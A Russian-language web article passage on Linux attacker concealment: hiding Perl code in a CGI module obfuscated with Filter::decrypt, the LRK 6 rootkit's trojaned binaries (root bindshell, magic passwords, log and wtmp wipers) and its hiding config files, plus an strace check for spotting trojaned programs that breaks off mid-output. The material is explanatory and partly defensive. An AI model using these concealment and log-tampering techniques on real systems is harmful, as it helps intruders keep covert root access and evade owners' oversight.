С помощью команды use на языке Perl будет выполняться поиск файла html.pm в каталоге /usr/lib/perl5 (и подчиненых каталогах), и при его обнаружении содержимое этого файла будет добавлено в CGI-сценарий, как если бы строки этого файла были непосредственно записаны в сценарии.
Можно еще больше замаскировать смысл файла html.pm, используя модуль Perl Filter::decrypt для "шифрования" этого файла с помощью элементарного алгоритма.

104. Наиболее популярным набором средств для атаки является LRK (Linux Root Kit), доступный на сайте http://packetstormsecurity.nl/.

Перечень троянских версий программ, входящих в пакет LRK 6

Средства маскировки и описание

du, find, ls - "Скрывают" нужные файлы.
crontab - Запускают скрытые cron-программы.
ifconfig - Скрывает установленный флаг PROMISC
Netstat - Скрывает установленные соединения.
tcpd - Скрывает установленные соединения и обходит установленные ограничения доступа.
pidof, ps, top - Скрывают запущенные определенным пользователем процессы.
syslog - Скрывает данные из системных журналов.
killall - Не позволяет останавливать скрытые процессы.
bindshell - Демон командного интерпретатора с привилегиями root.
chfn, chsh, passwd - "Магичиские" пароли позволяют получить доступ с правами суперпользователя.
inetd, login, rshd, sshd - Удаленный root-доступ.
ADMsniff - Анализатор пакетов.
fix - Исправляет временные метки и контрольные суммы измененных файлов.
wted - Редактор файлов wtmp и utmp
z2 - Zap2 - средство модификации файлов utmp, wtmp, lastlog.

Троянские программы выполняют чтение нескольких файлов и определяют, какие данные должны быть скрыты при запуске троянских программ из пакета. Имена этих файлов указываются во время компиляции.
По умолчанию используются следующие файлы.

Имя файла и предназначение

/dev/ptyq - Указываются сетевые соединения, сведения о которых не должны выводиться. Выбор игнорируемого соединения осуществляется по идентификатору активизирующего их пользователя, по локальному адресу или порту, а также по локальному сокету UNIX. Кроме того, этот файл используется троянской версией tcpd для скрытого предоставления доступа с определенных хостов.
/dev/ptyr - Список игнорируемых файлов или каталогов.
/dev/ptyp - Игнорируемые процессы. Определяются по идентификатору пользователя, устройству tty или по совпадению с шаблонами командной строки.
/dev/ptys - При совпадении с заданным шаблоном удаляются некоторые записи из системного журнала.

Троянские версии программ можно обнаружить с помощью использования утилиты strace.

compromised$ strace -eopen /bin/ls >/dev/null
open("/etc/ld.so.cache", O_RDONLY) = 3
open("/lib/libtermcap.so.2", O_RDONLY) = 3
open

 
Автор: Алексеев В
 
Оригинал статьи: http://woweb.ru/publ/52-1-0-495
 
Рейтинг@Mail.ru
© Студия WEB-дизайна PM-Studio, 2005. Все права защищены.